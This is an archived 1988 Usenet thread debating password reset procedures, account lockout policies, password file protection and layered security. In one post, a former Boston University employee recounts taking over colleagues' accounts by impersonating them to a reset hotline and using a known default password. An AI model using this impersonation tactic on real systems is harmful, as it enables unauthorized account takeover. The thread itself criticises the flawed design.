In article <5877@netsys.UUCP> tsl@netsys.UUCP (Tom Livingston) writes: >In article <2584@crash.cts.com> jkimble@crash.CTS.COM (Jim Kimble) writes: >>The first time the owners of the accounts >>try to login and find they can't, they're going to make a phone call to the >>data processing people who will just assign a new password right there over >>the phone. > >They would assign a new password over the phone? I doubt this, >as 'anyone' could just call up, claiming to be someone else, and have their >password changed. Bingo, they have the account. This is quite a security hole in a *lot* of so-called "secure" systems. During the time I worked for the Admissions department for Boston University, they installed a "more secure" system on top of the old. The new system required the changing of passwords every 30 days and wouldn't let you use the same one again for 2 changings. After 3 failed password attempts, the account was disabled. To management, this must have seemed dramatically more secure. What did this accomplish? It made account disablings VERY commonplace. In order to make the system workable (so that employees wouldn't have to spend large amounts of time running all over the place each time their account was disabled), a phone number was set up which you could call to get your account reset to a predefined password, which you could get from your supervisor. The predefined password is of course public knowledge the moment one employee goofs his/her login, and indeed immediately since we needed to know it for the initial login. What their more secure system did was create a security hole so large as to make cracking the system not only easier, but simple and commonplace. When I needed access to an account, I'd screw up the password, call the (well publicized and often used) number, identify myself as the user who's account I needed, and log in with the default password. Cracking the security took less than a minute, and usually went undetected since the user who's account you used would goof the password three times, get it reset, and just assume they'd mistyped it or forgotten that they'd changed it. There are inherent insecurities in any kind of password changing that does not require absolute identification of the user. This is obvious to begin with, but often overlooked. Additionally, any kind of security system that disables an account after n accesses (where n is a small number) leads to security holes, since after a few hundred disables in a short amount of time, the staff is going to start to take shortcuts with procedure (if indeed the procedure was secure to begin with). Additionally, password schemes that require "odd" passwords (requiring a digit, for example) combined with account disabling are REALLY insecure, since the oddity makes it probable that users will goof it more often than otherwise, and increase the number of incorrect disablings. A note to the interested: the security system used on Boston University's University Information System (UIS) is called Top Secret and is supposedly "state of the art". I would not recommend using this system at all, or if you do use it, tweak the number of invalid passwords needed to disable the account to something like 20 or 30. This will kill brute force approaches without making disables commonplace. jim frost madd@bu-it.bu.edu
henry@utzoo.uucp (Henry Spencer) (03/03/88)
> Suggestions like the one of read protecting the password file *and* > encrypting it raise a red flag for me. If the encryption scheme is good, > then read protecting the passwords is unnecessary. Similarly, if the > read protection on the password file really works, then encrypting the > passwords is a waste of time... No, not quite. The wording you are looking for is "If the encryption scheme is PERFECT, then read protecting the passwords is unnecessary. Similarly, if the read protection on the password file is PERFECT, then encrypting the passwords is a waste of time." This is true but irrelevant, since perfection is not available. > More generally, if there are two indepen- > dent security checks on a system, and an intruder can subvert the first > security check with effort E1 and the second security check with effort > E1, then the total effort to crack the system is E1+E2. This is less > than 2*max(E1, E2), so very little is lost by abandoning one of the two > security checks. Only if E1 >> E2 or vice-versa. If they are of the same order of magnitude, then E1+E2 does approximate 2*max(E1, E2) and abandoning one of them does reduce security significantly. > ... A system in which an intruder > must bypass 2 or 3 ineffective security mechanisms is not much harder > to penetrate than a system with only one ineffective security mechan- > ism... True. However, a system in which an intruder must bypass 2 or 3 effective but not perfect security mechanisms *is* much harder to penetrate than a system with only one such mechanism. There is no such thing as perfect security; no system is invulnerable, if only because the physical hardware can't be. The best we can do is to put as many obstacles in the intruder's path as possible, in hopes that the effort needed to overcome them all will discourage him enough to make him go somewhere else. Feel free to rely on single security mechanisms; that way the bad guys will attack you and not me, which suits me fine! -- Those who do not understand Unix are | Henry Spencer @ U of Toronto Zoology condemned to reinvent it, poorly. | {allegra,ihnp4,decvax,utai}!utzoo!henry
brand@postgres.uucp (Russell L. Brand) (03/05/88)
In article <4315@june.cs.washington.edu> ka@june.cs.washington.edu (Kenneth Almquist) writes: >Suggestions like the one of read protecting the password file *and* >encrypting it raise a red flag for me. If the encryption scheme is good, >then read protecting the passwords is unnecessary. Similarly, if the >read protection on the password file really works, then encrypting the >passwords is a waste of time. NO! when you have let some have a root account to fix something (perhaps the password file itself) you don't want them to casually have access to all the passwords. Among other things some of your users probably have the same passwords on other machines. Further when a user of machine-1 wants an account on machine-2 we cna just send the encrypted passwords through less than perfectly trusted channels and give him an account with password on machine-2. if the paswords had to be unencrypted on machine-2 it would * very* inconvient to do things like this -wuthel
jk3k+@andrew.cmu.edu (Joe Keane) (03/09/88)
In article <1988Mar2.235819.18983@utzoo.uucp>, henry@utzoo.uucp (Henry Spencer) writes: > This is true but irrelevant, since perfection is not available. Something doesn't have to be absolutely useless to be a waste of time. Only not very useful. > Only if E1 >> E2 or vice-versa. If they are of the same order of magnitude, > then E1+E2 does approximate 2*max(E1, E2) and abandoning one of them does > reduce security significantly. A factor of two is `significant'? So if we add one bit to DES (don't ask how) it will be `significantly' more secure? I disagree. > True. However, a system in which an intruder must bypass 2 or 3 effective > but not perfect security mechanisms *is* much harder to penetrate than a > system with only one such mechanism. Again, if he can crack one, he can crack two. > The best we can do is to put as many obstacles in the intruder's > path as possible, in hopes that the effort needed to overcome them all will > discourage him enough to make him go somewhere else. If your security is based on `discouraging' an intruder, it doesn't sound very strong. You should assume the intruder is trying to crack _your_ system. --Joe
henry@utzoo.uucp (Henry Spencer) (03/13/88)
> ... if he can crack one, he can crack two. Requiring, one hopes, twice as much effort. That's the point. > > The best we can do is to put as many obstacles in the intruder's > > path as possible, in hopes that the effort needed to overcome them all will > > discourage him enough to make him go somewhere else. > > If your security is based on `discouraging' an intruder, it doesn't sound very > strong. You should assume the intruder is trying to crack _your_ system. Pray tell, what *else* should we base our security on? There is no such thing as perfect security; that is not even theoretically possible. Given that, the *only* thing we can do is try to make penetration as difficult as possible, in hopes that the intruder will give up or be detected before he can get through. -- Those who do not understand Unix are | Henry Spencer @ U of Toronto Zoology condemned to reinvent it, poorly. | {allegra,ihnp4,decvax,utai}!utzoo!henry
jbs@fenchurch.MIT.EDU (Jeff Siegal) (03/14/88)
In article <QWB54=y00Xo9Q3A1c3@andrew.cmu.edu> jk3k+@andrew.cmu.edu (Joe Keane) writes: > >In article <1988Mar2.235819.18983@utzoo.uucp>, henry@utzoo.uucp (Henry >Spencer) writes: >> [...]. If they are of the same order of magnitude, >> then E1+E2 does approximate 2*max(E1, E2) and abandoning one of them does >> reduce security significantly. >A factor of two is `significant'? So if we add one bit to DES (don't ask how) >it will be `significantly' more secure? I disagree. By your logic, we could remove bits as well, without `significantly' [sic] reducing security--one-at-a-time, all the way down to one bit, or even none. Reasonably secure systems rely on layers of difficult-to-bypass barriers (e.g. fence, man-eating-dogs, armed guards, locks on building doors, building alarm system, video cameras, motion detectors, locks on computer room door(s), etc.) rather than one "impenetrable" maginot line. Jeff Siegal
jfc@athena.mit.edu (John F Carr) (03/14/88)
In article <8469@eddie.MIT.EDU> jbs@fenchurch.MIT.EDU (Jeff Siegal) writes: >Reasonably secure systems rely on layers of difficult-to-bypass >barriers (e.g. fence, man-eating-dogs, armed guards, locks on building >doors, building alarm system, video cameras, motion detectors, locks >on computer room door(s), etc.) rather than one "impenetrable" maginot >line. I second this. I had a summer job programming computers. I have described earlier how the computer operator left her passsword written in the log, to which I had access (when she wasn't at her console). With this password I theoretically had total access to the system and all its files (note that this was not a UNIX system, on which root can instantly read all files, but another operating system). I could read and modify real memory. So, from one point of view I had broken the system. By the reasoning of some of the articles on this subject, there should have been no more security since it was now possible to do anything I wanted with the computer. However, my employer was paranoid (but we all know that even paranoids have real enemies...). The password I had was not the one which would satisfy the security program to allow me to access any user's files. To get at files for which I had no permission, I would have had to patch the operating system to bypass the security checks. While this was possible, since I had the permissions to put my own programs into the operating system, it would have been far from easy or quick. I didn't try this, not having any desire to read others' files, and so the multi-level security worked. The only person who could have easily proceeded past where I got is an assembly language programmer (which I am) with a very good knowledge of the details of the operating system and related programs (which I did not have). If I had had malicious intent (say, I got fired but was able to dial in from outside to get revenge) I could have casued trouble by shutting down or randomly rebooting the machine, but no more. The cause of this would have been obvious from the account logs, and the password would have been quickly changed. No single layer of security is "impenetrable". Multiple layers may come close. John Carr "No one wants to make a terrible choice jfc@Athena.MIT.EDU On the price of being free" --Neil Peart
jk3k+@andrew.cmu.edu (Joe Keane) (03/19/88)
In article <8469@eddie.MIT.EDU>, jbs@fenchurch.MIT.EDU (Jeff Siegal) writes: > By your logic, we could remove bits as well, without `significantly' > [sic] reducing security--one-at-a-time, all the way down to one bit, > or even none. Wait, whose logic is messed up? If 1 birth isn't a significant increase in the world population, then 10 billion wouldn't be? Huh? I agree that more than one layer is probably a good idea because one of them is probably stronger than the others _but you don't know which_. If you knew which were better, or knew they're equal, then more than one isn't `significantly' better. --Joe